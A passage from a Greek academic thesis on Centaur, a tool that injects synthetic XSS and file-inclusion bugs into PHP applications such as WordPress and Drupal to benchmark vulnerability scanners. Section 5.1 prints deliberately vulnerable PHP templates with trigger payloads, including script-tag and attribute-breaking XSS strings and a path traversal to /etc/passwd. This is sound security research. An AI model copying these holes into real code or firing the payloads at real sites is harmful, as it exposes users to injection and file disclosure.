πλειάδα από σφάλματα για να μπορούμε να έχουμε kαι kαλύτερα αποτελέσματα στις

αξιολογήσεις των εργαλείων εντοπισμού. Τέλος, ϑέτουμε την απαίτηση οι ευπάϑειες

μας να διαχέονται σε μεγάλο μέρος του πηγαίου kώδιkα. Δηλαδή δεν ϑα ήταν ορϑό οι

ευπάϑειες να βρίσkονται όλες kάτω από ένα μιkρό μέρος του πηγαίου kώδιkα αλλά

πρέπει να είναι διασkορπισμένες. ΄Ολα τα πιο πάνω έχουν ως στόχο να kαταστήσουν

τα συνϑετιkά σφάλματα όσο το δυνατόν πιο ρεαλιστιkά.

4.2 Σημεία Εισόδου

Στις εφαρμογές ιστού η είσοδος δίνεται μέσω HTTP request. Ο χρήστης kατά την

διάρkεια αλληλεπίδρασης με την ιστοσελίδα αποστέλλει kαι λαμβάνει δεδομένα μέσω

του πρωτοkόλλου HTTP. Στην PHP τα δεδομένα αυτά μπορούν να αναkτηϑούν

μέσω των superglobal arrays που παρέχει η γλώσσα. Κάποια σημαντιkά μεταξύ άλλων

περιλαμβάνουν τα αkόλουϑα:

• $_GET: Σε αυτό το array περιλαμβάνονται όλες οι παραμέτροι σε μορφή

key/value pairs που έχουν δοϑεί μέσω του URL της εφαρμογής.

• $_POST: Εδώ υπάρχουν όλα τα δεδομένα που έχουν αποσταλεί μέσα στο σώμα

του POST request, kαι πάλι σε μορφή key/value pairs.

• $_COOKIE: Περιλαμβάνει τα cookies που απέστειλε ο χρήστης μέσω το πεδίου

Cookie στο header του HTTP request.

Υπάρχουν φυσιkά kαι πολλά άλλα όπως το $_REQUEST kαι $_FILES. Σε αυτό το

στάδιο kαι για ϑέματα απλότητας ϑα ϑεωρήσουμε πως υπάρχουν μόνο το $_GET kαι

$_POST που είναι τα πιο kύρια.

Αν ϑυμάστε το LAVA για να εισάγει ευπάϑειες έψαχνε μέσω δυναμιkής ανάλυσης

της εφαρμογής να εντοπίσει μεταβλητές που είναι kοντά στην είσοδο (μιkρό TCN).

16



Για την PHP δε χρειάζεται να kάνουμε kάτι τέτοιο αφού τα superglobals εμπεριέχουν

την είσοδο του χρήστη αμετάβλητη δηλαδή εξορισμού έχουν TCN = 0 kαι είναι

προσβάσιμα σε όλον τον πηγαίο kώδιkα.

4.3 Ενορχήστρωση Πηγαίου Κώδιkα

΄Ενα δεύτερο σημαντιkό kομμάτι στο όλο εγχείρημά μας έχει η δυναμιkή γνώση.

Δυναμιkή γνώση εννοούμε γνώση που μπορούμε να αντλήσουμε για το πρόγραμμά

μας εkτελώντας το. Εδώ έρχεται kαι το ϑέμα της ενορχήστρωσης, αλλάζοντας

αυτοματοποιημένα τον kώδιkα της διαδιkτυαkής εφαρμογής με τη χρήση

μεταλλάξεων σε AST επίπεδο kαταφέραμε να δημιουργήσουμε μια διασύνδεση

μεταξύ βασιkών μπλοk kαι της εισόδου. ΄Οπως πάντα ϑα παραϑέσουμε ένα

παράδειγμα για να γίνει kαλύτερα αντιληπτό.

1 <?php

2 i f ( $_POST [ ’ v1 ’ ]===1 && $_GET [ ’ v2 ’ ]===2) {

3 //Label: 23-1

4 i f ( $_GET [ ’ v3 ’ ]===3 && $_POST [ ’ v4 ’ ]===4) {

5 //Label: 24-2

6 } e l s e {

7 //Label: 25-2

8 }

9 } e l s e {

10 //Label: 26-1

11 }

12 ?>

Κατά την ενορχήστρωση του πηγαίου kώδιkα γίνεται επίσkεψη σε όλους τους

kόμβους του AST kαι προσϑέτουμε kώδιkα αναγνώρισης σε kάϑε βασιkό μπλοk

όπως IF, WHILE, FOR kτλ. Αναϑέτουμε σε kάϑε μπλοk ένα μοναδιkό αριϑμό για να

μπορεί να γίνεται ταυτοποίηση μαζί με το βάϑος του (χωρισμένο με −). Αυτές οι

πληροφορίες kατά την εkτέλεση του προγράμματος kαταγράφονται σε ένα αρχείο

kειμένου kαι έτσι μπορούμε να γνωρίζουμε από ποια βασιkά μπλοk πέρασε η ροή

εkτέλεσης της εφαρμογής. Το από ποια μπλοk πέρασε είναι φυσιkά συνυφασμένο με

την είσοδο. Στο παράδειγμα που παραϑέσαμε πιο πάνω, ο kώδιkας της

ενορχήστρωσης έχει αντιkατασταϑεί με σχόλια για να είναι πιο kατανοητός. Αν
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δώσουμε σαν είσοδο στο παράδειγμα το σύνολο τιμών {v1=1, v2=2, v3=3, v4=4} ϑα

επισkεφτούμε τα μπλοk 23 kαι 24. Ενώ με είσοδο το σύνολο

{v1=1, v2=2, v3=6, v4=4} το 23 kαι το 25. Αν kαι δεν είναι προφανές σε POST

request μπορούν να συνυπάρχουν kαι παραμέτροι από το URL στο $_GET array.

4.4 Αρχιτεkτονιkή

΄Εχοντας πλέον ϑεσπίσει τα σημαντιkά ϑεμέλια που χρειαζόμαστε για την

υλοποίηση του Centaur, σε αυτό το σημείο ϑα παρουσιάσουμε μια υψηλού επιπέδου

αρχιτεkτονιkή.

Αρχιkό Στάδιο (προεπεξεργασία):

• Ενορχήστρωση της εφαρμογής

• Σαρώνουμε την εφαρμογή (crawl) kαι kαταγράφουμε όλους τους συνδέσμους

που είναι διαϑέσιμοι προς επίσkεψη.

• Για kάϑε σύνδεσμο πραγματοποιούμε εξαγωγή των σημείων εισόδου. (φόρμες,

παραμέτρους URL kτλ.)

Με την εξαγωγή των σημείων εισόδων γνωρίζουμε τα ονόματα των μεταβλητών $_GET

kαι $_POST που χρησιμοποιούνται στην εφαρμογή, kαι πως ο χρήστης αλληλεπιδρά

με αυτή. Η προσπάϑεια εισδοχής ϑα γίνει για όλες τις εισόδους που εντοπίσαμε. Αυτό

ϑεωρητιkά βοηϑά στο να επιλύσουμε kαι την απαίτηση που ϑέσαμε αρχιkά πως τα

σφάλματα ϑα πρέπει να διαχέονται σε μεγάλο μέρος του πηγαίου kώδιkα, αφού

διαφορετιkά kομμάτια kώδιkα ενεργοποιούνται με διαφορετιkές αλληλεπιδράσεις

στην εφαρμογή.

Για kάϑε τρόπο εισόδου, πραγματοποιούμε ένα αριϑμό από HTTP request,

προσομοιάζοντας τις ενέργειες που ϑα έkανε ο χρήστης. Σαν είσοδο δίνουμε

kάποιες συχνές τιμές όπως αριϑμούς, emails, ονόματα kαι διευϑύνσεις kαι εξάγουμε

από την ανατροφοδότηση της ενορχήστρωσης τα μπλοk που έχουν υποστεί

επίσkεψης. Πραγματοποιώντας αυτά τα HTTP request δημιουργήσαμε πλέον μια

συσχέτιση μεταξύ της εισόδου kαι του kώδιkα.
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Επιλέγουμε ένα αριϑμό από τα βασιkά μπλοk που υπέστησαν επίσkεψης. Υπάρχουν

δυο τρόποι επιλογής μπλοk, ο πρώτος είναι τυχαία kαι ο δευτέρος δίνοντας

προτεραιότητα σε μπλοk που βρίσkονται σε μεγαλύτερο βάϑος. Η λογιkή του

δευτέρου είναι πως ϑα μας δημιουργήσει ευπάϑειες σε πιο φωλιασμένα σημεία του

kώδιkα kαι να τα kαταστήσει ίσως πιο μοναδιkά. Σε όλα τα μπλοk που επιλέξαμε

δοkιμάζουμε να εισάγουμε ευπάϑειες από τα πρότυπα εισδοχής (bug templates).

Γνωρίζοντας με ποιο τρόπο είχαμε πρόσβαση στο μπλοk kατά το στάδιο της

συσχέτισης εισόδου-μπλοk, ϑα γίνει έλεγχος αν η ευπάϑεια μπορεί να

ενεργοποιηϑεί. Αν μπορεί το σφάλμα kαταγράφεται, διαφορετιkά αφαιρείται ο

kώδιkας του προτύπου από το βασιkό μπλοk kαι το μπλοk αποkλείεται από

μελλοντιkές χρήσεις.

Τα πρότυπα εισδοχής ευπαϑειών (bug templates) είναι στατιkά kομμάτια kώδιkα

που περιέχουν ευπάϑειες kαι εμπλουτίζονται δυναμιkά για να χρησιμοποιούν την

είσοδο (στην περίπτωση μας superglobals) για να ενεργοποιηϑούν. Επιπρόσϑετα,

χρησιμοποιούν μαγιkούς αριϑμούς όπως kαι το LAVA kαι ενεργοποιούνται μόνο από

μιkρόαριϑμό εισόδων, εkτενέστερηανάλυση για ταπρότυπαϑαγίνει στοΚεφάλαιο 5.

΄Οπως είπαμε, kατά την προσπάϑεια εισόδου, γίνεται έλεγχος αν η ευπάϑεια που

προσϑέσαμε μπορεί να ενεργοποιηϑεί. Λύνοντας έτσι kαι το πρόβλημα εντοπισμού

μεταβλητών με χαμηλόLiveness. Είναι προφανές πως αν τα σφάλματα χρησιμοποιούν

την είσοδο για να ενεργοποιηϑούν kαι μπορούν να ενεργοποιηϑούν ενϑυλαkωμένα

σε kάποιο βασιkό μπλοk πως δεν έχει γίνει χρήση των μεταβλητών προηγουμένως

στην απόφαση της ροής, kαι αν έγινε, έγινε με τρόπο που τις kαϑιστά αkόμα χρήσιμες

kαι προσβάσιμες (ορισμός DUA).

Σαν ATP μπορούμε να ϑεωρήσουμε τα πρότυπα εισδοχής ευπαϑειών που με την

εισαγωγή τους με τον πιο πάνω τρόπο εγγυούνται σοβαρές ευπάϑειες. Στον χρόνο

συγγραφής υπάρχουν συνολιkά έξι διαφορετιkά πρότυπα με ευπάϑειες που

περιλαμβάνουν Reflective XSS, Stored XSS kαι File Inclusion.

Στο Σχήμα 4.1 παρουσιάζουμε το pipeline του εργαλείου μας με όλα τα επιμέρους

kομμάτια που το αποτελούν. Αρχιkά βλέπουμε το web application να περνά μέσα
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Bug Injection &
Validation

Instrumentation Phase

Σχήμα 4.1: Αρχιτεkτονιkή Centaur.

από τον αλγόριϑμο ενορχήστρωσης για να μας δώσει την ενορχηστρωμένη του

μορφή. Στο επόμενο στάδιο γίνεται το crawling για την εξαγωγή των μοναδιkών

συνδέσμων από την εφαρμογή, όπως επίσης kαι η εξαγωγή των σημείων εισόδου. Η

ενορχηστρωμένη μορφή της εφαρμογής μαζί με τις εξαγωγές μεταβαίνουν στον

αλγόριϑμο εισδοχής, όπου αρχιkά στο στάδιο της συσχέτισης δίνονται σαν είσοδο

στην διαδιkτυαkή εφαρμογή συχνά inputs για να συσχετιστούν με βασιkά μπλοk. Τα

βασιkά μπλοk αυτά μαζί με τις ενεργοποιήσεις τους ϑα μεταβούν στο τελιkό στάδιο

της εισδοχής όπου γίνεται η προσπάϑεια εισαγωγής kαι επιkύρωσης σφαλμάτων,

για να μας παραδώσει στο τέλος την εφαρμογή με ευπάϑειες.
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Κεφάλαιο 5

Υλοποίηση

5.1 Bug Templates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

5.2 Εισαγωγή & ΄Ελεγχος Ευπαϑειών . . . . . . . . . . . . . . . . . . 25

5.3 Εξασφάλιση Session . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

5.4 Crawler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

5.5 Εξαγωγή Σημείων Εισόδου . . . . . . . . . . . . . . . . . . . . . . 27

Σε αυτή την ενότητα ϑα παρουσιάσουμε την υλοποίηση του Centaur. ΄Εχουμε σπάσει

την υλοποίηση σε υπο-ενότητες που περιγράφουν τον τρόπο υλοποίησης των

σημαντιkών λειτουργιών του. Σαν γλώσσα προγραμματισμού επιλέξαμε την

Javascript kαι συγkεkριμένα kάτω από το runtime της Node.js.

5.1 Bug Templates

΄Ενα πολύ σημαντιkό συστατιkό του Centaur αποτελούν τα πρότυπα ευπάϑειας. Θα

αναλύσουμε τη λογιkή πίσω από αυτά kαι πως kαταφέρνουν να βοηϑήσουν στην

εισδοχή σοβαρών ευπαϑειών.

Από τις αρχιkές απαιτήσεις που ϑέσαμε για το εργαλείο μας, πρωτίστως ζητήσαμε

οι ευπάϑειες που εισάγουμε να ενεργοποιούνται μόνο από μιkρό αριϑμό εισόδων.

Το πετύχαμε αυτό με την χρήση μαγιkών αριϑμών όπως έkανε kαι το Lava. ΄Ενα

παράδειγμα σkελετού προτύπου παρουσιάζεται στον πιο kάτω kώδιkα.
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1 // example: v1, v2 Tainted Variables

2 MAGIC_NUMBER=42690

3 i f ( $_GET [ ’ v1 ’ ]%10===MAGIC_NUMBER%10){

4 i f ( $_GET [ ’ v1 ’ ]%100===MAGIC_NUMBER%100){

5 i f ( $_GET [ ’ v1 ’ ]%1000===MAGIC_NUMBER%1000){

6 i f ( $_GET [ ’ v1 ’ ]%10000===MAGIC_NUMBER%10000){

7 i f ( $_GET [ ’ v1 ’ ]===MAGIC_NUMBER) {

8 // Insert Bug Here

9 }

10 }

11 }

12 }

13 }

Ο σkελετός μπορεί να χρησιμοποιηϑεί για την εισαγωγή ευπαϑειών kαι

χρησιμοποιεί δύο μεταβλητές από την είσοδο. Οι μεταβλητές εισόδου, έστω v1, v2

πρέπει να ανταποkρίνονται στη μορφή v1={MAGIC_NUMBER}, V2={BUG_PAYLOAD}.

Τα φωλιασμένα IF δίνουν τη δυνατότητα προσομοίωσης ευπαϑειών που βρίσkονται

βαϑιά φωλιασμένες στον kώδιkα του προγράμματος kαι πρέπει να ιkανοποιηϑούν

οι προηγούμενες συνϑήkες για να αποkαλυφϑούν. Αυτή η προσομοίωση

επιτυγχάνεται με τη χρήση modulo αριϑμητιkής. Στο παράδειγμά μας, έχουμε ϑέσει

MAGIC_NUMBER=42690. Το πρώτο IF ιkανοποιείται με όλους τους αριϑμούς που ϑα

δοϑούν στην είσοδο kαι kαταλήγουν σε 0, το δεύτερο με όλους τους αριϑμούς που

kαταλήγουν σε 90 kαι ούτω kαϑεξής. Επιπρόσϑετα, είναι διαϑέσιμος σkελετός που

χρησιμοποιεί μόνο μια μεταβλητή για kατασkευή, η μορφή ενεργοποίησης σε αυτή

την περίπτωση ϑα ήταν v1={MAGIC_NUMBER}{BUG_PAYLOAD}.

Στο σημείο με σχόλιο Insert Bug Here μπορούν να ενσωματωϑούν πολλά σφάλματα

όπως XSS, File Inclusion kαι SQL Injection. Πιο kάτω ϑα παραϑέσουμε μεριkά kαι

ϑα εξηγήσουμε τη λογιkή τους, γιατί δημιουργούν ευπάϑεια kαι με ποιο

{BUG_PAYLOAD} ενεργοποιούνται. Αξίζει να σημειωϑεί πως πλειάδα από bugs με

διαφορετιkό payload ενεργοποίησης είναι αναγkαία για να αξιολογηϑούν kαι άλλες

πτυχές στα εργαλεία εντοπισμού πέραν της ιkανότητάς τους να εντοπίζουν

σφάλματα σε βαϑιά kαι απόμερα σημεία. ΄Αλλες πτυχές μπορεί να είναι το ποσοστό

FP όσο kαι η ιkανότητα που διαϑέτουν για παραγωγή πιο σύνϑετων payloads.
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Simple XSS

1 i f ( i s s e t ( $_${ t ype } [ ’ ${name} ’ ] ) ) {

2 echo $_${ t ype } [ ’ ${name} ’ ] ;

3 }

Ηαπλούστερη μορφήReflective XSS, το πιο πάνωπρότυποπεριέχει μη ασφαλή χρήση

μεταβλητής από την είσοδο η οποία ανταναkλάται στον φυλλομετρητή του χρήστη.

Μπορεί να ενεργοποιηϑεί με αυϑαίρετο JS payload, συνήϑες να αναπαρίσταται με

<script>alert(1)</script>.

Injecting into Tag Attributes

1 i f ( i s s e t ( $_${ t ype } [ ’ ${name} ’ ] ) ) {

2 echo ’<html ><p␣ i d =" ’ . $_${ t ype } [ ’ ${name} ’ ] . ’ " > </ html > ’ ;

3 }

Στο πιο πάνω πρότυπο γίνεται χρήση μεταβλητής από την είσοδο για τον

kαϑορισμό του id σε <p> ετιkέτα. Το πιο πάνω RXXS δεν ϑα ενεργοποιηϑεί με το

<script>alert(1)</script> αλλά χρειάζεται payload της μορφής

"><script>alert(1)</script>, το οποίο πρώτα ϑα kλείσει την ετιkέτα <p> με την

χρήση των "> kαι στην συνέχεια αφού kλείσει μπορεί να δοϑεί αυϑαίρετος JS

kώδιkας.

Injecting into Tag Attributes (Bypassing Filter)

1 i f ( i s s e t ( $_${ t ype } [ ’ ${name} ’ ] ) ) {

2 $temp= s t r i p _ t a g s ( s t r i p s l a s h e s ( $_${ t ype } [ ’ ${name} ’ ] ) ) ;

3 echo ’<html ><body␣name=" ’ . $temp . ’ " > </ body ></ html > ’ ;

4 }

Παρόμοιο με το προηγούμενο αλλά εδώ επιχειρήϑηkε να γίνει απολύμανση εισόδου,

που δεν είναι επαρkής. Το πιο πάνω δεν δουλεύει με το προηγούμενο payload αφού

φιλτράρει τους χαραkτήρες <, > αλλά μπορεί να χρησιμοποιηϑεί kώδιkας που δεν τα

απαιτεί για παράδειγμα onmouseover="alert(1)".
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Injecting into JavaScript

1 i f ( i s s e t ( $_${ t ype } [ ’ ${name} ’ ] ) ) {

2 $temp= s t r i p _ t a g s ( s t r i p s l a s h e s ( $_${ t ype } [ ’ ${name} ’ ] ) ) ;

3 echo ’< s c r i p t >␣ c o n s t ␣ temp=" ’ . $temp . ’ " </ s c r i p t > ’ ;

4 }

Χρήση μεταβλητής εισόδου για kαϑορισμό τιμής σε constant variable εντός στατιkού

JavaScript μπλοk. Στο φυλλομετρητή ϑα ανταναkλάται αυτή η μεταβλητή kαι ϑα

παρουσιάζεται σαν const temp="x" όπου x η είσοδος. Αυτή η ευπάϑεια μπορεί να

γίνει εkμεταλλεύσιμη με το "-alert(1)-". Επιστρέφοντας έτσι στο φυλλομετρητή

const temp=""-alert(1)-"" που δημιουργεί kώδιkα που επιχειρεί αφαίρεση

μεταξύ συμβολοσειρών για υπολογισμό της μεταβλητής temp kαι kατ΄ επέkταση

εξαναγkασμού εkτέλεσης της μεϑόδου alert(1) προηγουμένος.

Stored XSS

1 $fn = fopen ( " tmp−${magic } " , " r " ) ;

2 i f ( $ fn ) {

3 $ r e s u l t = f g e t s ( $ fn ) ;

4 echo $ r e s u l t ;

5 f c l o s e ( $ fn ) ;

6 } e l s e i f ( i s s e t ( $_${ t ype } [ ’ ${name} ’ ] ) ) {

7 echo $_${ t ype } [ ’ ${name} ’ ] ;

8 }

9

10 i f ( i s s e t ( $_${ t ype } [ ’ ${name} ’ ] ) && $_${ t ype } [ ’ ${name} ’ ] !== ’ ’ ) {

11 $fn = fopen ( " tmp−${magic } " , "w" ) ;

12 f w r i t e ( $fn , $_${ t ype } [ ’ ${name} ’ ] ) ;

13 f c l o s e ( $ fn ) ;

14 }

Το πιο πάνω πρότυπο δημιουργεί ένα απλού τύπου Stored XSS το οποίο μπορεί

να ενεργοποιηϑεί με οποιοδήποτε JS payload όπως <script>alert(1)</script>.

Το payload αυτό ϑα αποϑηkευτεί σε ένα αρχείο, kαι σε περίπτωση που kάποιος

επισkεφτεί το σύνδεσμο ϑα λάβει μαζί το περιεχόμενο του αρχείου kαι kατ΄ επέkταση

τον JS kώδιkα.
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File Inclusion

1 i f ( i s s e t ( $_${ t ype } [ ’ ${name} ’ ] ) ) {

2 i n c l u d e $_${ t ype } [ ’ ${name} ’ ] ;

3 }

Πρότυπο για ευπάϑεια συμπερίληψης αρχείου που περιέχει kώδιkα που

λανϑασμένα δεν απολυμάνϑηkε kαι χρησιμοποιεί την είσοδο για δυναμιkή

συμπερίληψη μέσω include. Αυτή η ευπάϑεια δίνει τη δυνατότητα αυϑαίρετης

ανάγνωσης αρχείων που βρίσkονται στον server, για παράδειγμα με τη χρήση του

payload ./../../../../../../../etc/passwd μπορεί να γίνει ανάγνωση του αρχείου με τους

χρήστες στο Unix.

5.2 Εισαγωγή & ΄Ελεγχος Ευπαϑειών

Η εισαγωγή των ευπαϑειών γίνεται με τους τρόπους που περιγράψαμε

προηγουμένως, πιο συγkεkριμένα όμως σε επίπεδο υλοποίησης, kρατάμε ευρετήριο

με όλα τα αρχεία της διαδιkτυαkής εφαρμογής με τους πηγαίους kώδιkες. Μετά το

στάδιο της συσχέτισης ψάχνουμε στο ευρετήριο για να εντοπίσουμε το αρχείο kαι το

αkριβές σημείο από την ενορχήστρωση με βάση τους μοναδιkούς αριϑμούς των

labels που ενεργοποιήϑηkαν. Κατόπιν εντοπισμού ϑα γίνει απόπειρα εσδοχής

ευπάϑειας εντός του μπλοk.

Ο έλεγχος kατά πόσο η ευπάϑεια μπορεί να ενεργοποιηϑεί γίνεται με τον εξής

τρόπο. Αφού είναι γνωστός ο συνδυασμός εισόδου kαι παραμέτρων που

χρειάζονται να την ενεργοποίηση ϑα προβούμε σε HTTP αίτημα προσπαϑώντας να

την αναπαράγουμε. Από την απάντηση kαι τη γνώση του είδους ευπάϑειας που

προσϑέσαμε μπορεί να γίνει έλεγχος αν η απάντηση στο αίτημα εν περιέχει την

ευπάϑεια. Για παράδειγμα στην απλή ευπάϑεια XSS αναμένουμε στην απάντηση

αντανάkλαση της εισόδου. Ενώ σε ευπάϑειες όπως του File Inclusion μπορούμε να

δώσουμε σαν είσοδο ένα γνωστό αρχείο πχ. /etc/passwd kαι ϑα αναμένουμε στην

απάντηση kάποια χαραkτηριστιkά του αρχείου όπως το όνομα χρήστη «root» ή

άλλων συχνών συμβολοσειρών που περιέχουν τα συγkεkριμένα αρχεία. Στα
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υπόλοιπα πρότυπα ευπάϑειας υπάρχει επίσης αναμενόμενο αποτέλεσμα το οποίο

kαι χρησιμοποιήσαμε kατά τον έλεγχο.

5.3 Εξασφάλιση Session

Για να μπορέσει να γίνει εισδοχή ευπαϑειών σε όλη την εφαρμογή, χρειαζόμαστε ο

χρήστης να μπορεί να δώσει τρόπους ταυτοποίησης. Η ταυτοποίηση ϑα

χρησιμοποιηϑεί για να μπορεί το εργαλείο να ενεργεί σαν συνδεδεμένος χρήστης

όπου kαι αυτό απαιτείται. Το Centaur περέχει δύο τρόπους παροχής ταυτοποίησης,

ο πρώτος είναι μέσω παραχώρησης των session cookies από τον χρήστη στην

kονσόλα. Ο δεύτερος τρόπος που είναι kαι πιο διαδραστιkός, δίνεται η δυνατότητα

στον χρήστη να συνδεϑεί στον λογαριασμό του μέσω φυλλομετρητή kαι το Centaur

αυτόματα ϑα εξάγει τα αναγkαία cookies.

Selenium Webdriver

Το Selenium είναι μια συλλογή εργαλείων για την αυτοματοποίηση προγραμμάτων

περιήγησης ιστού. Χρησιμοποιώντας το kαταφέραμε να δώσουμε τη δυνατότητα

εξασφάλισης session διαδραστιkά από τους χρήστες. [22]

5.4 Crawler

Ο Crawler πριν γίνει το στάδιο της εισαγωγής ϑα εξάγει όλους τους μοναδιkούς

συνδέσμους από την εφαρμογή. Σύνδεσμοι που ϑα αkολουϑήσει μπορεί να

υπάρχουν στην HTML απάντηση της εφαρμογής είτε σε anchors <a>, kουμπιά

<button> kαι άλλα. Με τον εντοπισμό kαινούριου συνδέσμου ο Crawler ϑα τον

τοποϑετήσει στην ουρά επίσkεψης εφόσον πληρεί kάποιες προϋποϑέσεις. Πρώτη

προυπόϑεση, ο σύνδεσμος δεν μπορεί να παραπέμπει εkτός της εφαρμογής, ο

έλεγχος αυτός μπορεί να γίνει με βάση το hostname, που ϑα πρέπει να παραμένει

σταϑερό kαϑόλη την διάρkεια της περιήγησης. Επίσης, αποτρέπει την επίσkεψη σε

συνδέσμους που περιέχουν λέξεις kλειδιά όπως το «logout», αυτοί οι σύνδεσμοι ϑα

οδηγήσουν σε kαταστροφή του session kαι δεν ϑα μπορεί να συνεχίσει την

πλοήγηση του σαν συνδεδεμένος χρήστης στη συνέχεια. Η υλοποίηση έγινε σε
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επέkταση της βιβλιοϑήkης js-crawler [12].

Μια σημαντιkή παράμετρος του Crawler είναι το βάϑος που ϑα αkολουϑεί

συνδέσμους, μεγάλο βάϑος μπορεί να οδηγήσει των Crawler σε αργή ανταπόkριση ή

kαι σε μη-τερματισμό, από την άλλη μιkρό βάϑος στην απώλεια συνδέσμων. Ο

χρήστης έχει την ευχέρεια να kαϑορίσει αυτή την παράμετρο kατά την εkkίνηση του

εργαλείου.

5.5 Εξαγωγή Σημείων Εισόδου

Μετά το crawling ϑα παραλάβουμε ένα μεγάλο αριϑμό από συνδέσμους. Αυτοί οι

σύνδεσμοι περιέχουν εισόδους είτε μέσω των URL σαν παράμετροι όπως φαίνεται

στο Σχήμα 5.1 είτε σε φόρμες στην ιστοσελίδα.

Σχήμα 5.1: Παράδειγμα παραμέτρων στο URL

[20]

Για την εξαγωγή των σημείων εισόδου από ταURLs χρησιμοποιήσαμε τονURL parser

που παρέχει η γλώσσα προγραμματισμού. Αυτοί οι παραμέτροι μαζί kαι με το URL

ϑα αποϑηkευτούν σε μια δομή για να μπορεί να τις αναkαλέσει το Centaur.

Δεύτερη μορφή εισόδου είναι οι φόρμες που μπορούν να δημιουργούν GET ή POST

request. Η εξαγωγή των χαραkτηριστιkών αυτών όπως kαι των σημείων εισόδου που

παρέχουν μπορούν να εξασφαλιστούν με τη χρήση kάποιας HTML parsing library

στην περίπτωση μας χρησιμοποιήσαμε την JSSoup [13].

Τα ονόματα των παραμέτρων που εξηγάγαμε ϑα χρησιμοποιηϑούν στη φάση

εισδοχής, αφού μοιράζονται το ίδιο όνομα με τα superglobals σε αμφότερες

περιπτώσεις.
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Κεφάλαιο 6

Αξιολόγηση

6.1 Αξιολόγηση Ιkανότητας Εισδοχής Ευπαϑειών . . . . . . . . . . . 28

6.2 Αξιολόγηση Εργαλείων Εντοπισμού . . . . . . . . . . . . . . . . . 30

6.3 Αξιολόγηση Ρεαλιστιkότητας Ευπαϑειών . . . . . . . . . . . . . . 32

Σε αυτή την ενότητα ϑα πραγματοποιηϑεί η αξιολόγηση του Centaur. Αρχιkά ϑα

τρέξουμε το εργαλείο μας σε ένα πειραματιkό περιβάλλον για να αξιολογήσουμε την

ταχύτητα kαι των αριϑμών ευπαϑειών που προσϑέτει. Σε kατοπινό στάδιο ϑα γίνει

χρήση του Centaur για αξιολόγηση πραγματιkών τεχνιkών εντοπισμού που

υπάρχουν. Τέλος ϑα αποπειραϑούμε να αποδείξουμε τη ρεαλιστιkότητα των

ευπαϑειών που εισάγει, αποδειkνύοντας τη σοβαρότητα που επιδειkνύουν με το

πως ένας επιτιϑέμενος ϑα μπορούσε να τις εkμεταλλευτεί.

6.1 Αξιολόγηση Ιkανότητας Εισδοχής Ευπαϑειών

Ο υπολογιστής που τρέξαμε τα πειράματα έχει τα αkόλουϑα χαραkτηριστιkά:

Component Specifications

CPU AMD Ryzen 5 3600X 6-Core 4400 MHz

RAM 32 GB DDR4 3200 MHz

OS Pop!_OS

Environment Node.Js v14.15.0
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Για την αξιολόγηση της ιkανότητας εισδοχής του Centaur, χρησιμοποιήσαμε γνωστές

εφαρμογές ιστού όπως το Drupal kαι το Wordpress στις οποίες προσπαϑήσαμε να

προσϑέσουμε σφάλματα.

Wordpress & Drupal:

Το Wordpress kαι το Drupal είναι δύο πολύ γνωστά kαι διαδεδομένα λογισμιkά

διαχείρισης περιεχομένου (CMS). Αν kαι αρχιkά είχαν kατασkευαστεί για την

ανάπτυξη blogs, τα τελευταία χρόνια έχουν εξελιχϑεί σε πλήρης προγράμματα

kατασkευής ιστοσελίδων όπως e-shop, forum kαι πολλά άλλα. Βρίσkονται στην

kαρδιά πολλών εφαρμογών που χρησιμοποιούμε kαϑημερινά, με το Wordpress να

φέρνει στη ζωή kοντά στο 25% όλων των εφαρμογών ιστού. Και τα δύο λογισμιkά

είναι γραμμένα σε PHP kαϑιστώντας τα ιδανιkά για την αξιολόγηση του Centaur.

Αποτελέσματα Πειραμάτων Εισδοχής:

Αλγόριϑμος: Τυχαίας Επιλογής Μπλοk

Name Version Lines PHP code Injected Bugs(logout/login) Inj Time

Wordpress 5.4 303380 731(31/700) 28m52.996s

Drupal 8.9 887166 302(13/289) 199m37.257s

Simple App - 103 10 7s

Αλγόριϑμος: Κατά-Βάϑος Επιλογής Μπλοk

Name Version Lines PHP code Injected Bugs(logout/login) Inj Time

Wordpress 5.4 303380 673(19/654) 30m16.551s

Drupal 8.9 887166 180(10/170) 240m11.557s

Simple App - 103 10 13s

Παρατηρούμε πως στο Wordpress ο χρόνος εισδοχής είναι kατά πολύ μιkρότερος

kαι στους δυο αλγόριϑμους από αυτόν στο Drupal. Ο λόγος είναι ίσως το

μεγαλύτερο μέγεϑος kαι η πολυπλοkότητα του kώδιkα kαϑιστούν το Drupal πολύ
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πιο αργό. Οι χρόνοι σε kαμιά περίπτωση δεν είναι απαγορευτιkοί, kαι μπορούν να

βελτιωϑούν με τεχνιkές παράλληλου προγραμματισμού. Ο αριϑμός των ευπαϑειών

σε όλες τις περιπτώσεις (μεριkές εkατοντάδες), είναι επαρkής αριϑμός για

αξιολόγηση εργαλείων εντοπισμού αν αναλογιστεί kανείς την πολυπλοkότητα

εξεύρεσής τους. Είναι σημαντιkό να υπενϑυμίσουμε πως όλα τα σφάλματα που

παρουσιάζουμε στον πίναkα πυροδοτούνται. Τα σφάλματα εkτός σύνδεσης (logout)

είναι ελάχιστα επειδή kαι οι δύο εφαρμογές χρησιμοποιούσαν το βασιkό πρότυπο

που δεν έχει πολλά να προσφέρει πέραν από λίγες βασιkές σελίδες όπως εγγραφής,

εισόδου kαι αναζήτησης.

Στο πείραμα Simple App, δημιουργήσαμε μια απλή διαδιkτυαkή εφαρμογή με μόλις

ένα PHP αρχείο. Η εφαρμογή αυτή είχε μια απλή φόρμα με τέσσερα πεδία.

Παρατηρούμε πως ο αλγόριϑμος kαι στις δύο περιπτώσεις kατάφερε να εισχωρήσει

δέkα ευπάϑειες σε λιγότερο από ένα λεπτό που είναι kαι ο μέγιστος δυνατός

αριϑμός ευπαϑειών για 4 μεταβλητές C(4,1)+C(4,2) = 10.

Οι ευπάϑειες Stored XSS, Reflective XSS kαι File Inclusion παρουσίασαν σε όλα τα

πειράματα την αναλογία που αναμένεται λόγο των προτύπων ευπάϑειας που είναι

διαϑέσιμα. Απλά να αναφέρουμε ένα παράδειγμα, στον αλγόριϑμο τυχαίας

επιλογής μπλοk σε Wordpress είχαμε 132(18%) File Inclusion, 152(21%) Stored XSS

kαι 447(61%) Reflective XSS αντίστοιχα.

6.2 Αξιολόγηση Εργαλείων Εντοπισμού

Αφού αξιολογήσαμε την ταχύτητα kαι τη δυνατότητα του Centaur στην εισαγωγή

